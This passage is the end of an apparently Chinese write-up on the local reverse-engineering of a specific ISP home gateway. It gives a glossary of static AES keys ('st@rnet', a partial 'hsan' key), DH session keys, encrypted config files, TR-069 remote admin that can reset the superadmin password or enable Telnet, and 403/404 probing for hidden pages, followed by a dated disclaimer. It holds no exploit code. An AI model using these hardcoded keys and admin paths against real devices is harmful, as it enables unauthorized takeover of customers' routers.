| Token 轮换 | 响应头 Token: → 下一请求头 TOKEN,逐次更新 |
st@rnet 密钥 | 登录口令专用静态 AES-256 密钥 |
hsan 密钥 | 6873616E00…,encrypt_info 默认静态密钥,仅部分接口有效 |
| DH 动态密钥 | web_gen_dh_key 协商出的每会话 AES-256 密钥,三段异或派生 |
| DH 会话标志 | X-StarNet-DHKeyIdentifier,把请求绑定到某次 DH 会话 |
web_stuff / web_dh_key_id | 服务端 DH 公钥材料 / 会话 ID |
lastgood.xml | 运行时配置,双 bank(cfga/cfgb)+ 备份,加密二进制 |
defaultconfig.xml | 明文出厂默认配置 |
| TR069 / CWMP / ACS / ITMS | 运营商远程管理协议 / 服务器 / 平台;可远程改超管口令、Telnet 开关 |
SetParameterValues | CWMP 下发参数的方法,重新开局的入口 |
odlcfg | 设备侧配置对象读写工具(odlcfg tabid.instid) |
| IAC 协商 | Telnet 协议控制字节,裸 socket 客户端需自行剥离 |
| 403 vs 404 | 页面存在但被 ACL 拦 / 页面不存在,用于判断隐藏功能是否在固件里 |
本文记录的是 2026-11-09 对一台具体设备的本地分析过程。所有结论以该设备实测为准;不同省份、不同软件版本请先按第 2~3 节重新做信息收集,不要直接套用常量与参数。
评论 (0)